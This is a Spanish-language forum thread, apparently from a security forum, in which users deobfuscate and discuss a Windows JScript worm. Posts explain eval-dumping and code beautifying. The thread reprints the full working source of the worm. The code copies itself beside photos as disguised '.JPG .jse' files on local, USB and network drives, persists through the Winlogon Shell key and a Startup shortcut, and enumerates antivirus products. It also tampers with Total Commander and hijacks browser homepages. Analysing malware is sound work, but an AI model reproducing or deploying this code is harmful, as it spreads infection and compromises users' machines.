  432.                                 }
  433.                                 if (a.FileExists(di + "\\" + ex) == false && dis.charAt(1) != ":") {
  434.                                     if (jex != "") {
  435.                                         ex = jex;
  436.                                     }
  437.                                     a.CopyFile(g, di + "\\" + ex);
  438.                                     if (a.FileExists(di + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))) == true) {
  439.                                         a.GetFile(di + "\\" + ex).Attributes = a.GetFile(di + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))).Attributes;
  440.                                     } else {
  441.                                         a.GetFile(di + "\\" + ex).Attributes = 0;
  442.                                     }
  443.                                     if (a.FileExists(di + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))) == true) {
  444.                                         a.GetFile(di + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))).Attributes = 2;
  445.                                     }
  446.                                 } else {
  447.                                     if (a.GetFile(di + "\\" + ex).Size < fsz) {
  448.                                         a.GetFile(di + "\\" + ex).Attributes = 0;
  449.                                         a.DeleteFile(di + "\\" + ex);
  450.                                         a.CopyFile(g, di + "\\" + ex);
  451.                                         a.GetFile(di + "\\" + ex).Attributes = 0;
  452.                                     }
  453.                                 }
  454.                             } catch (e) {}
  455.                         }
  456.                     }
  457.                 } catch (e) {}
  458.             }
  459.             hra = 0;
  460.         }
  461.     } catch (e) {}
  462.     mk();
  463. }
  464.  
  465. function ci() {
  466.     try {
  467.         db2 = a.OpenTextFile(g, 1);
  468.         g2 = db2.ReadAll();
  469.         db2.Close();
  470.         g3 = g2.substring(g2.search('z="') + 3, g2.search('";'));
  471.         g1 = g2.substring(0, g2.search('z="') + 3);
  472.         gr = g2.substring(g2.search('";'), g2.length);
  473.         t = ll;
  474.         tt = "";
  475.         tm = t.length;
  476.         rac = Math.round(Math.random() * 98) + 1;
  477.         for (x = 0; x < tm; x++) {
  478.             num = t.charCodeAt(x) + rac;
  479.             hx = num.toString(16);
  480.             if (hx.length < 2) {
  481.                 hx = "0" + hx;
  482.             }
  483.             tt += hx;
  484.             hx = '';
  485.         }
  486.         if (rac < 10) {
  487.             rac = "0" + rac;
  488.         }
  489.         tt += rac;
  490.         g4 = g1 + tt + gr;
  491.         return g4;
  492.     } catch (e) {}
  493. }
  494.  
  495. function pe(tar) {
  496.     onef = false;
  497.     sfp = a.GetFolder(tar);
  498.     tgc = new Enumerator(sfp.subFolders);
  499.     for (; !tgc.atEnd(); tgc.moveNext()) {
  500.         stc = tgc.item().Name.toLowerCase();
  501.         if (stc.search("foto") != -1 || stc.search("photo") != -1 || stc.search("image") != -1 || stc.search("im\u00E1ge") != -1 || stc.search("picture") != -1) {
  502.             if (onef == false) {
  503.                 sfp = a.GetFolder(tgc.item() + "\\");
  504.             }
  505.             onef = true;
  506.         }
  507.     }
  508.     return sfp;
  509. }
  510.  
  511. function shcu() {
  512.     cshc = "";
  513.     lnks = new Enumerator(a.GetFolder(c3).files);
  514.     for (; !lnks.atEnd(); lnks.moveNext()) {
  515.         try {
  516.             lks = lnks.item() + "";
  517.             if (lks.substring(lks.length - 4, lks.length).toLowerCase() == ".lnk") {
  518.                 lnka = b.CreateShortcut(lnks.item()).Arguments;
  519.                 if (lnka.search("//E:JScript //B -ns") != -1) {
  520.                     cshc = lnka.substring(lnka.indexOf('"') + 1, lnka.lastIndexOf('"'));
  521.                     a.DeleteFile(lnks.item());
  522.                 }
  523.             }
  524.         } catch (e) {}
  525.     }
  526.     return cshc;
  527. }

Título: Re: [Ayuda] descifrando un virus
Publicado por: danny920825 en 11 Julio 2015, 19:05 pm
Gracias. Eres el mejor!!

Título: Re: [Ayuda] descifrando un virus
Publicado por: dRak0 en 12 Julio 2015, 09:45 am
Criptoanalisis,diras.

Título: Re: [Ayuda] descifrando un virus
Publicado por: Mad Antrax en 13 Julio 2015, 09:33 am
excelente trabajo engel lex, ahora solo falta analizar las funciones que ejecuta el script!

Título: Re: [Ayuda] descifrando un virus
Publicado por: danny920825 en 13 Julio 2015, 14:52 pm
Y todo eso es javascript?? o sea, que se puede utilizar un lenguaje de programacion web para aplicaciones de escritorio? Por favor, alguien que explique las funciones que no las entiendo todas

Título: Re: [Ayuda] descifrando un virus
Publicado por: engel lex en 13 Julio 2015, 15:39 pm
repito mi comentario

Citar
no sabia que el vbs se parecía tanto el js

esto no es js (javascript) es vbs (visual basic script), solo sirve en local

Título: Re: [Ayuda] descifrando un virus
Publicado por: Mad Antrax en 13 Julio 2015, 16:34 pm
Cita de: engel lex en 13 Julio 2015, 15:39 pm
repito mi comentario

esto no es js (javascript) es vbs (visual basic script), solo sirve en local

En realidad ese código es javascript. El intérprete de script de Windows (wscript + cscript) pueden interpretar (ejecutar) VBS y JS. VOy a reversas las funciones para ver que hace exactamente, aunque no estoy muy familiarizado con JS...

Saludos

Título: Re: [Ayuda] descifrando un virus
Publicado por: engel lex en 13 Julio 2015, 17:00 pm
windows interpreta js?

"WScript" puede ser usado por jscript?

por eso asumo que es vbs

Título: Re: [Ayuda] descifrando un virus
Publicado por: Mad Antrax en 13 Julio 2015, 17:06 pm
Cita de: engel lex en 13 Julio 2015, 17:00 pm
windows interpreta js?

"WScript" puede ser usado por jscript?

por eso asumo que es vbs

Exacto, el motor de interprete de script (WScript.exe / CScript.exe) interpreta tanto VBS como JS, y sus variantes VBE, JSE, etc... el icono se diferencia por un script verde (VBS) o amarillo (JS). Si te fijas, la sintaxis original de VB/VBA/VBS no incluye llaves ({}) para designar statement, en su lugar se utiliza el comodón "End", las llaves son usadas en lenguajes como C/C++ y JS (entre mucho otros).

Otra pista la tienes en que JS necesita un caracter para indicar el fin de una línea ( ";" ) mientras que VB/VBS no necesita dicho carácter :)

Te he editado el post, indicando que el geshi es JS en lugar de VBS, ahora aparece correctamente formateado :P

Título: Re: [Ayuda] descifrando un virus
Publicado por: engel lex en 13 Julio 2015, 17:09 pm
hmm cierto! no tiene los "sub function" o cosas as XD por eso me pareció tan extrañamente parecido a jscript desde el inicio

Título: Re: [Ayuda] descifrando un virus
Publicado por: Eleкtro en 13 Julio 2015, 17:10 pm
Añado al comentario de @Mad Antrax:

➢ Windows Script Host (https://en.wikipedia.org/wiki/Windows_Script_Host)

Saludos

Título: Re: [Ayuda] descifrando un virus
Publicado por: danny920825 en 13 Julio 2015, 17:40 pm
Hola de nuevo, dejenme consultarlos, ahora que veo que se unieron los 3 grandes que admiro (Elektro, Mad Antrax y engel lex). Estaba leyendo el contenido de wikipedia y dice que si, que windows script host ejecuta Jscripst, y sus derivados, vbs y sus derivados y otros como WSH y WSF. Pero lo que quiero preguntar haciendo un parentesis en su investigacion de que hace este amigo que estamos entendiendo, es como yo pongo el codigo y que me salga como lo puso "engel lex" o sea, identado, porque a mi me salio corrido.

Título: Re: [Ayuda] descifrando un virus
Publicado por: Mad Antrax en 13 Julio 2015, 17:46 pm
Cita de: danny920825 en 13 Julio 2015, 17:40 pm
Hola de nuevo, dejenme consultarlos, ahora que veo que se unieron los 3 grandes que admiro (Elektro, Mad Antrax y engel lex). Estaba leyendo el contenido de wikipedia y dice que si, que windows script host ejecuta Jscripst, y sus derivados, vbs y sus derivados y otros como WSH y WSF. Pero lo que quiero preguntar haciendo un parentesis en su investigacion de que hace este amigo que estamos entendiendo, es como yo pongo el codigo y que me salga como lo puso "engel lex" o sea, identado, porque a mi me salio corrido.

El codigo original que has posteado está "ofuscado", basicamente se trata de una laaaaarga cadena de caracteres, luego un bucle recorre la cadena y transforma los caracteres hexadecimal en su valor decimal, luego ese numero la parsea en la tabla ascii y lo transforma en un caracter "imprimible". El final de todo termina contruyendo una cadena de código JS que es ejecutada por la función eval()

angel lex ha dumpeado la variable final "ll" y la ha pegado bajo las etiquetas geshi, para que se pueda leer de forma más comoda. Ahora solo falta analizar que ocurre en cada linea del JS "deofuscado" :D

Título: Re: [Ayuda] descifrando un virus
Publicado por: engel lex en 13 Julio 2015, 17:47 pm
hmmm sorry por no explicar...

lo que hice

como se que el eval (la ultima instrucción) ejecuta, lo meti en la consola de chrome, y luego busqué que contenia "ll"

eso trae todo el código en una linea... de ahí me fui a http://jsbeautifier.org/ (http://jsbeautifier.org/), tiré el código y lo "embellecí", esa herramienta es muy útil para desofuscar

Título: Re: [Ayuda] descifrando un virus
Publicado por: danny920825 en 13 Julio 2015, 18:17 pm
Gracias por el dato de la web. Pero a lo que me refiero es a que cuando publique un codigo por ejemplo en VBS me salga con colores, que tengo que poner?

Título: Re: [Ayuda] descifrando un virus
Publicado por: engel lex en 13 Julio 2015, 18:22 pm
:P las etiqeutas GeSHi

estás arriba de los emticones a la derecha, ahí te salen los lenguajes y pegas el código entre etiquetas :P

Título: Re: [Ayuda] descifrando un virus
Publicado por: danny920825 en 13 Julio 2015, 18:27 pm
Gracias, ya lo vi. Muchas gracias por todo. Al final, que es lo que hace el codigo?

Título: Re: [Ayuda] descifrando un virus
Publicado por: MCKSys Argentina en 13 Julio 2015, 18:33 pm
Te contesto con preguntas: Qué es lo que has hecho para saberlo; además de preguntar a los demas? Has intentado, siquiera, por tus medios tratar de comprenderlo?

 :silbar:

Título: Re: [Ayuda] descifrando un virus
Publicado por: danny920825 en 13 Julio 2015, 19:19 pm
Sip, pero solo entiendo algo ligero de vbs y 2 de sus objetos fundamentales el 'scripting.filesystemobject' y el 'wscript.shell'

Para empezar, define 4 objetos, los 2 anteriores, Shell.Application y WbemScripting.SWbemLocator, ambos desconocidos para mi.

De ahi pasa a definir segun lo que veo, a seleccionar la codificacion, que no se con que objetivo se hace. Luego define variables como la carpeta de inicio del usuario, y varias llaves del registro, la primera supongo que es la de autoinicio y la segunda es el icono del script, el cual recoge de la clase .jpg.
Hasta ahi, todo es facil de entender, pero lo demas se dificulta porque no entiendo el codigo.

Título: Re: [Ayuda] descifrando un virus
Publicado por: Wolfkey en 8 Octubre 2015, 09:37 am
Cita de: engel lex en 11 Julio 2015, 17:39 pm
no sabia que el vbs se parecía tanto el js... solo tienes que seguir los pasos sin el eval (para que no se ejecute) y revisar la variable que se evalua

aquí está sin la primera ofuscación

Código
  1. try {
  2.     a = WScript.CreateObject('Scri' + 'pting.Fi' + 'leSys' + 'temObj' + 'ect');
  3.     b = WScript.CreateObject('WSc' + 'ript.Sh' + 'ell');
  4.     s = WScript.CreateObject('She' + 'll.Appli' + 'cation');
  5.     wl = WScript.CreateObject('WbemScr' + 'ipting.SWbemL' + 'ocator');
  6.     db = WScript.CreateObject('ADO' + 'DB.Str' + 'eam');
  7.     db.CharSet = "US-ASCII";
  8.     db.Type = 2;
  9.     c3 = b.SpecialFolders("Startup");
  10.     nt6 = (b.RegRead('HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\CurrentVersion') >= 6 ? true : false);
  11.     jico = b.RegRead("HKLM\\SOFTWARE\\Classes\\" + b.RegRead("HKLM\\SOFTWARE\\Classes\\.jpg\\") + "\\DefaultIcon\\");
  12.     ico = "explorer.exe";
  13.     g = WScript.ScriptFullName;
  14.     da = new Date();
  15.     ano = da.getYear() + "";
  16.     mes = da.getMonth();
  17.     dia = da.getDate();
  18.     hra = 0;
  19.     antv = new Array("");
  20.     rgk = "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run";
  21.     wlg = "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell";
  22.     gn = new Array("IMG", "IMG_", "PIC", "DSC", "CIMG", "HPIM", "IMAG", "DSCF", "DSCN", "DCIM", "IM", "PICT", "SAM_");
  23.     sp = "";
  24.     for (r = 0; r < 94; r++) {
  25.         sp += " ";
  26.     }
  27.     ex = gn[Math.round(Math.random() * 12)] + ano.substring(2, 4) + "" + mes + dia + ".JPG" + sp + ".jse";
  28.     jex = "";
  29.     tas = "explorer";
  30.     fsz = a.GetFile(g).Size;
  31.     wsc = WScript.FullName;
  32.     stl = "https://www.google.es/#output=search&sclient=psy-ab&q=fiverdolly+";
  33.     stp = stl + fsz;
  34.     if (s.NameSpace(26) == "Roaming") {
  35.         tot = a.GetFolder(s.NameSpace(26).ParseName("Microsoft").Path).ParentFolder;
  36.     } else {
  37.         tot = s.NameSpace(40).ParseName(s.NameSpace(26)).Path;
  38.     }
  39.     nt();
  40. } catch (e) {}
  41. sf = "";
  42.  
  43. function nt() {
  44.     try {
  45.         c1 = s.NameSpace(28).ParseName("microsoft");
  46.         c2 = c1.GetFolder.Items().Count;
  47.         rf = Math.round(Math.random() * c2 - 1);
  48.         c4 = c1.GetFolder.Items().item(rf).Path;
  49.         if (a.FolderExists(c4) == false) {
  50.             c4 = a.GetFile(c4).ParentFolder;
  51.         }
  52.     } catch (e) {
  53.         c4 = c1.Path;
  54.     }
  55.     c5 = Math.random() * 8 + 1 + "";
  56.     c5 = c5.replace(".", "");
  57.     try {
  58.         b.RegWrite("HKCU\\SOFTWARE\\Classes\\JSEFile\\DefaultIcon\\", jico, "REG_SZ");
  59.     } catch (e) {}
  60.     try {
  61.         jtyp = b.RegRead("HKLM\\SOFTWARE\\Classes\\jpegfile\\FriendlyTypeName");
  62.         b.RegWrite("HKCU\\SOFTWARE\\Classes\\JSEFile\\FriendlyTypeName", jtyp, "REG_EXPAND_SZ");
  63.     } catch (e) {}
  64.     try {
  65.         b.RegWrite("HKLM\\SOFTWARE\\Classes\\JSEFile\\DefaultIcon\\", jico, "REG_SZ");
  66.     } catch (e) {}
  67.     try {
  68.         b.RegWrite("HKLM\\SOFTWARE\\Classes\\JSEFile\\FriendlyTypeName", jtyp, "REG_EXPAND_SZ");
  69.     } catch (e) {}
  70.     if (g.substring(g.lastIndexOf("\\") + 1, g.length).toLowerCase().search(".jpg" + sp + ".jse") != -1) {
  71.         try {
  72.             if (a.FileExists(g.substring(0, g.lastIndexOf(sp + ".jse"))) == true) {
  73.                 b.run('"' + g.substring(0, g.lastIndexOf(sp + ".jse")) + '"');
  74.             } else {
  75.                 wp = b.RegRead("HKCU\\Control Panel\\Desktop\\Wallpaper");
  76.                 if (wp.substring(wp.lastIndexOf("\\") + 1, wp.length) == "TranscodedWallpaper") {
  77.                     jpgc = b.RegRead("HKLM\\SOFTWARE\\Classes\\jpegfile\\shell\\open\\command\\").replace("%1", wp);
  78.                     b.run(jpgc);
  79.                 } else {
  80.                     b.run('"' + wp + '"');
  81.                 }
  82.             }
  83.         } catch (e) {}
  84.         try {
  85.             sc = wl.ConnectServer(null, "root\\default");
  86.             rg = sc.Get("StdRegProv");
  87.             m = rg.Methods_.Item("EnumValues");
  88.             pin = m.InParameters.SpawnInstance_();
  89.             rk = new Object();
  90.             rk["HKCU"] = rk["HKEY_CURRENT_USER"] = 0x80000001;
  91.             rv = rk[rgk.substr(0, rgk.indexOf("\\"))];
  92.             pin.hDefKey = rv;
  93.             pin.sSubKeyName = rgk.substr(rgk.indexOf("\\") + 1);
  94.             pot = rg.ExecMethod_(m.Name, pin);
  95.             ak = pot.sNames.toArray();
  96.             for (key in ak) {
  97.                 tts = b.RegRead(rgk + "\\" + ak[key]) + "";
  98.                 if (tts.search(".exe") != -1) {
  99.                     tts2 = tts.substring(0, tts.search(".exe"));
  100.                     tts3 = tts2.substring(tts2.lastIndexOf(":") - 1, tts2.length) + ".exe";
  101.                     if (a.FileExists(tts3) == true) {
  102.                         ico = tts3;
  103.                     }
  104.                     if (tts2.indexOf("\\") != -1) {
  105.                         tts2 = tts2.substring(tts2.lastIndexOf("\\") + 1, tts2.length);
  106.                     }
  107.                     tas = tts2;
  108.                 }
  109.             }
  110.         } catch (e) {}
  111.         if (tas.indexOf(" ") != -1) {
  112.             tas = tas.substring(0, tas.indexOf(" "));
  113.         }
  114.         if (tas.indexOf(".") != -1) {
  115.             tas = tas.substring(0, tas.indexOf("."));
  116.         }
  117.         try {
  118.             newd = fsz;
  119.             olddf = b.RegRead(wlg);
  120.             olddf = olddf.substring(olddf.lastIndexOf('" "') + 3, olddf.lastIndexOf('"'));
  121.         } catch (e) {
  122.             olddf = shcu();
  123.         }
  124.         if (a.FileExists(olddf) == true) {
  125.             c4 = a.GetFile(olddf).ParentFolder;
  126.             oldd = a.GetFile(olddf).size;
  127.         } else {
  128.             oldd = 0;
  129.             olddf = c4 + "\\" + c5;
  130.         }
  131.         if (newd >= oldd) {
  132.             if (a.FileExists(olddf) == true) {
  133.                 a.GetFile(olddf).Attributes = 0;
  134.             }
  135.             db.Open();
  136.             try {
  137.                 av = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\SecurityCenter" + (nt6 ? '2' : ''));
  138.                 avi = av.ExecQuery("SELECT * FROM AntiVirusProduct", "WQL");
  139.                 navi = new Enumerator(avi);
  140.                 antv = new Array();
  141.                 for (; !navi.atEnd(); navi.moveNext()) {
  142.                     oav = navi.item();
  143.                     antv.push(oav.displayName);
  144.                 }
  145.             } catch (e) {
  146.                 antv = new Array("NAC");
  147.             }
  148.             try {
  149.                 vic = "<" + b.RegRead("HKCU\\Volatile Environment\\LOGONSERVER").replace("\\\\", "") + ":" + b.RegRead("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductName") + "=" + s.NameSpace(40) + ":" + antv + ">";
  150.             } catch (e) {
  151.                 vic = "";
  152.             }
  153.             cod = ci();
  154.             if (cod.search(vic) == -1 && rad != 0) {
  155.                 nda = vic + "**/";
  156.                 his = cod.replace("**/", nda);
  157.                 db.WriteText(his);
  158.             } else {
  159.                 db.WriteText(cod);
  160.             }
  161.             db.SaveToFile(olddf, 2);
  162.             db.Close();
  163.             try {
  164.                 if (a.GetFile(olddf).OpenAsTextStream(1, -2).ReadAll().charCodeAt(0) != 122) {
  165.                     a.CopyFile(g, olddf, true);
  166.                 }
  167.                 a.GetFile(olddf).Attributes = 2;
  168.             } catch (e) {}
  169.             wsh = c4 + "\\" + tas + ".exe";
  170.             try {
  171.                 a.CopyFile(wsc, wsh);
  172.             } catch (e) {}
  173.             a.GetFile(wsh).Attributes = 2;
  174.             try {
  175.                 drg = '"' + wsh + '" "' + olddf + '" //E:JScript //B';
  176.                 shcu();
  177.                 ec = b.CreateShortcut(c3 + "\\" + tas + ".lnk");
  178.                 ec.TargetPath = c4 + "\\" + tas + ".exe";
  179.                 ec.Arguments = '"' + olddf + '" //E:JScript //B -ns';
  180.                 ec.IconLocation = ico;
  181.                 ec.Save();
  182.                 b.RegWrite(wlg, drg, 'REG_SZ');
  183.                 WScript.Sleep(9999);
  184.                 if (b.RegRead(wlg) == drg) {
  185.                     a.DeleteFile(c3 + "\\" + tas + ".lnk");
  186.                 }
  187.             } catch (e) {}
  188.         }
  189.     } else {
  190.         try {
  191.             if (WScript.Arguments.length == 0) {
  192.                 b.run("explorer.exe");
  193.             }
  194.         } catch (e) {}
  195.         try {
  196.             fcfp = new Array();
  197.             tcmd = new Array();
  198.             for (t = 0; t < 9; t++) {
  199.                 tcmd.push(tot + "\\TC201" + t + "\\tcignore.txt");
  200.                 try {
  201.                     fcfp.push(s.NameSpace(38).ParseName("TotalCommander201" + t).Path + "\\Tools\\Mozilla Firefox\\defaults\\profile");
  202.                 } catch (e) {}
  203.                 try {
  204.                     fcfp.push(s.NameSpace(48).ParseName("TotalCommander201" + t).Path + "\\Tools\\Mozilla Firefox\\defaults\\profile");
  205.                 } catch (e) {}
  206.             }
  207.             try {
  208.                 tcmd.push(s.NameSpace(38).ParseName("TC UP").Path + "\\tcignore.txt");
  209.             } catch (e) {}
  210.             try {
  211.                 tcmd.push(s.NameSpace(48).ParseName("TC UP").Path + "\\tcignore.txt");
  212.             } catch (e) {}
  213.             try {
  214.                 tcmd.push(s.NameSpace(28).ParseName("ghisler").Path + "\\tcignore.txt");
  215.             } catch (e) {}
  216.             try {
  217.                 tcmd.push(s.NameSpace(26).ParseName("ghisler").Path + "\\tcignore.txt");
  218.             } catch (e) {}
  219.             tcmd.push("c:\\totalcmd\\tcignore.txt");
  220.             for (t = 0; t < tcmd.length; t++) {
  221.                 if (a.FileExists(tcmd[t].replace("tcignore.txt", "wincmd.ini")) == true) {
  222.                     try {
  223.                         db.Open();
  224.                         if (a.FileExists(tcmd[t]) == false) {
  225.                             ttn = a.CreateTextFile(tcmd[t], true);
  226.                             ttn.Write("**.**.jse");
  227.                             ttn.close();
  228.                         }
  229.                         igl = "";
  230.                         try {
  231.                             db.LoadFromFile(tcmd[t]);
  232.                             igl = db.ReadText;
  233.                         } catch (e) {}
  234.                         db.Close();
  235.                         if (igl.indexOf("**.**.jse") == -1) {
  236.                             db.Open();
  237.                             db.WriteText(igl, 1);
  238.                             db.WriteText("**.**.jse", 1);
  239.                             a.DeleteFile(tcmd[t]);
  240.                             db.SaveToFile(tcmd[t]);
  241.                             db.Close();
  242.                         }
  243.                     } catch (e) {}
  244.                     try {
  245.                         tor = a.OpenTextFile(a.GetFile(tcmd[t]).ParentFolder + "\\Wincmd.ini", 1, true, 0);
  246.                         toa = tor.ReadAll();
  247.                         if (toa.search("IgnoreListFileEnabled=0") != -1) {
  248.                             toa = toa.replace("IgnoreListFileEnabled=0", "IgnoreListFileEnabled=1");
  249.                         }
  250.                         if (toa.search("IgnoreListFile=") == -1) {
  251.                             toa = toa.replace("[Configuration]", "[Configuration]" + "\nIgnoreListFile=" + tcmd[t]);
  252.                         }
  253.                         if (tcmd[t].search("TC201") != -1) {
  254.                             if (toa.search("=*.jse") == -1) {
  255.                                 filt = toa.substring(toa.lastIndexOf("Filter") + 6, toa.lastIndexOf(".icon="));
  256.                                 enf = toa.substring(toa.lastIndexOf("Filter"), toa.length);
  257.                                 enl = enf.substring(0, enf.indexOf("\n") + 1);
  258.                                 fln = new Number(filt) + 1;
  259.                                 ficon = toa.substring(toa.search("Filter11.icon=") + 14, toa.length);
  260.                                 dicon = ficon.substring(0, ficon.search("\n"));
  261.                                 toa = toa.replace(enl, enl + "\nFilter" + fln + "=*.jse\nFilter" + fln + ".icon=" + dicon + "\n");
  262.                                 toa = toa.replace("FileTipWindows=1", "FileTipWindows=0");
  263.                             }
  264.                         }
  265.                         tor.close();
  266.                         tow = a.OpenTextFile(a.GetFile(tcmd[t]).ParentFolder + "\\Wincmd.ini", 2, true, 0);
  267.                         tow.Write(toa);
  268.                         tow.close();
  269.                     } catch (e) {}
  270.                 }
  271.             }
  272.         } catch (e) {}
  273.         try {
  274.             b.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", stp, "REG_SZ")
  275.         } catch (e) {}
  276.         try {
  277.             if (a.FolderExists(tot + "\\Mozilla\\Firefox\\Profiles") == true) {
  278.                 fpf = a.GetFolder(tot + "\\Mozilla\\Firefox\\Profiles");
  279.                 pff = new Enumerator(fpf.SubFolders);
  280.                 for (; !pff.atEnd(); pff.moveNext()) {
  281.                     pfs = pff.item() + "";
  282.                     if (pfs.search(".default") != -1) {
  283.                         fcfp.push(pfs);
  284.                     }
  285.                 }
  286.             }
  287.             for (q = 0; q < fcfp.length; q++) {
  288.                 try {
  289.                     if (a.FileExists(fcfp[q] + "\\prefs.js") == true); {
  290.                         fjf = a.OpenTextFile(fcfp[q] + "\\prefs.js", 1);
  291.                         fjs = fjf.ReadAll();
  292.                         fjf.close();
  293.                         usp = 'user_pref("browser.startup.homepage",';
  294.                         if (fjs.indexOf(usp) != -1) {
  295.                             fjs1 = fjs.substring(fjs.indexOf(usp) + 37, fjs.length);
  296.                             fjs2 = fjs1.substring(0, fjs1.indexOf(');') + 2);
  297.                             fjs3 = fjs.replace(usp + fjs2, usp + ' "' + stp + '");');
  298.                             wjf = a.OpenTextFile(fcfp[q] + "\\prefs.js", 2);
  299.                             wjf.Write(fjs3);
  300.                         } else {
  301.                             wjf = a.OpenTextFile(fcfp[q] + "\\prefs.js", 8);
  302.                             wjf.WriteLine('\n' + usp + ' "' + stp + '");');
  303.                         }
  304.                         wjf.close();
  305.                     }
  306.                 } catch (e) {}
  307.             }
  308.         } catch (e) {}
  309.         try {
  310.             gfs = s.NameSpace(28).ParseName("Google").Path + "\\Chrome\\User Data\\Default\\Preferences";
  311.             if (a.FileExists(gfs) == true) {
  312.                 gjf = a.OpenTextFile(gfs, 1);
  313.                 gjs = gjf.ReadAll();
  314.                 gjf.close();
  315.                 gjsn = gjs.length;
  316.                 urs = '"urls_to_restore_on_startup": [';
  317.                 ros = '"restore_on_startup":';
  318.                 rosm = '"restore_on_startup_migrated":';
  319.                 if (gjs.indexOf(stl) == -1) {
  320.                     if (gjs.indexOf(urs) != -1) {
  321.                         gjs1 = gjs.substring(gjs.indexOf(urs) + 31, gjsn);
  322.                         gjs2 = gjs1.substring(0, gjs1.indexOf("]") + 1);
  323.                         gjs3 = gjs.replace(urs + gjs2, urs + ' "' + stp + '", ' + gjs2);
  324.                     } else {
  325.                         gjs1 = gjs.substring(gjs.indexOf(rosm), gjsn);
  326.                         gjs2 = gjs1.substring(0, gjs1.indexOf("\n") + 1);
  327.                         gjs3 = gjs.replace(gjs2, rosm + ' true,\n\t' + urs + ' "' + stp + '" ]\n');
  328.                     }
  329.                     gjs4 = gjs.substring(gjs.indexOf(ros), gjsn);
  330.                     gjs5 = gjs4.substring(0, gjs4.indexOf(',') + 1);
  331.                     gjs3 = gjs3.replace(gjs5, ros + ' 4,');
  332.                     wjg = a.OpenTextFile(gfs, 2);
  333.                     wjg.Write(gjs3);
  334.                     wjg.close();
  335.                 } else {
  336.                     fds = gjs.substring(gjs.indexOf(stl), gjs.length);
  337.                     fdc = fds.substring(0, fds.indexOf('"'));
  338.                     gjs4 = gjs.replace(fdc, stp);
  339.                     wjg = a.OpenTextFile(gfs, 2);
  340.                     wjg.Write(gjs4);
  341.                     wjg.close();
  342.                 }
  343.             }
  344.         } catch (e) {}
  345.         mk();
  346.     }
  347. }
  348.  
  349. function mk() {
  350.     WScript.Sleep(120000);
  351.     try {
  352.         c = new Enumerator(a.Drives);
  353.         for (; !c.atEnd(); c.moveNext()) {
  354.             tipodisco = c.item().DriveType;
  355.             switch (tipodisco) {
  356.                 case 1:
  357.                 case 3:
  358.                     if (c.item() != "A:" && c.item() != "B:") {
  359.                         try {
  360.                             sf = a.GetFolder(pe(c.item() + "\\"));
  361.                             tgf = new Enumerator(sf.files);
  362.                             for (; !tgf.atEnd(); tgf.moveNext()) {
  363.                                 stf = tgf.item() + "";
  364.                                 if (stf.substring(stf.length - 4, stf.length).toUpperCase() == ".JPG") {
  365.                                     jex = tgf.item().Name + sp + ".jse";
  366.                                 }
  367.                                 if (stf.toLowerCase().indexOf(".jpg" + sp + ".jse") != -1) {
  368.                                     ex = tgf.item().Name;
  369.                                 }
  370.                             }
  371.                             if (a.FileExists(sf + "\\" + ex) == false) {
  372.                                 if (jex != "") {
  373.                                     ex = jex;
  374.                                 }
  375.                                 a.CopyFile(g, sf + "\\" + ex);
  376.                                 if (a.FileExists(sf + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))) == true) {
  377.                                     a.GetFile(sf + "\\" + ex).Attributes = a.GetFile(sf + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))).Attributes;
  378.                                 } else {
  379.                                     a.GetFile(sf + "\\" + ex).Attributes = 0
  380.                                 };
  381.                                 if (a.FileExists(sf + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))) == true) {
  382.                                     a.GetFile(sf + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))).Attributes = 2;
  383.                                 }
  384.                             } else {
  385.                                 if (a.GetFile(sf + "\\" + ex).Size < fsz) {
  386.                                     a.GetFile(sf + "\\" + ex).Attributes = 0;
  387.                                     a.DeleteFile(sf + "\\" + ex);
  388.                                     a.CopyFile(g, sf + "\\" + ex);
  389.                                     a.GetFile(sf + "\\" + ex).Attributes = 0;
  390.                                 }
  391.                             }
  392.                         } catch (e) {}
  393.                         sf = "";
  394.                     }
  395.                     break;
  396.                 default:
  397.                     break;
  398.             }
  399.         }
  400.     } catch (e) {}
  401.     try {
  402.         if (hra < 12) {
  403.             hra += 1;
  404.         }
  405.         if (hra == 12) {
  406.             dns = s.NameSpace(18);
  407.             ens = dns.Items().Count;
  408.             hns = new Array();
  409.             for (f = 0; f < ens; f++) {
  410.                 gns = dns.Items().item(f);
  411.                 hns.push("dns.Items().Item(" + f + ").GetFolder");
  412.             }
  413.             for (i = 0; i < hns.length; i++) {
  414.                 try {
  415.                     jns = eval(hns[i]).Items().Count;
  416.                     for (l = 0; l < jns; l++) {
  417.                         if (a.FolderExists(eval(hns[i] + ".Items().item(" + l + ").Path")) == false) {
  418.                             hns.push(hns[i] + ".Items().item(" + l + ").GetFolder");
  419.                         } else {
  420.                             try {
  421.                                 dis = pe(eval(hns[i] + ".Items().item(" + l + ").Path") + "\\") + "";
  422.                                 di = a.GetFolder(dis);
  423.                                 tgf = new Enumerator(di.files);
  424.                                 for (; !tgf.atEnd(); tgf.moveNext()) {
  425.                                     stf = tgf.item() + "";
  426.                                     if (stf.substring(stf.length - 4, stf.length).toUpperCase() == ".JPG") {
  427.                                         jex = tgf.item().Name + sp + ".jse";
  428.                                     }
  429.                                     if (stf.toLowerCase().indexOf(".jpg" + sp + ".jse") != -1) {
  430.                                         ex = tgf.item().Name;
  431.                                     }
  432.                                 }
  433.                                 if (a.FileExists(di + "\\" + ex) == false && dis.charAt(1) != ":") {
  434.                                     if (jex != "") {
  435.                                         ex = jex;
  436.                                     }
  437.                                     a.CopyFile(g, di + "\\" + ex);
  438.                                     if (a.FileExists(di + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))) == true) {
  439.                                         a.GetFile(di + "\\" + ex).Attributes = a.GetFile(di + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))).Attributes;
  440.                                     } else {
  441.                                         a.GetFile(di + "\\" + ex).Attributes = 0;
  442.                                     }
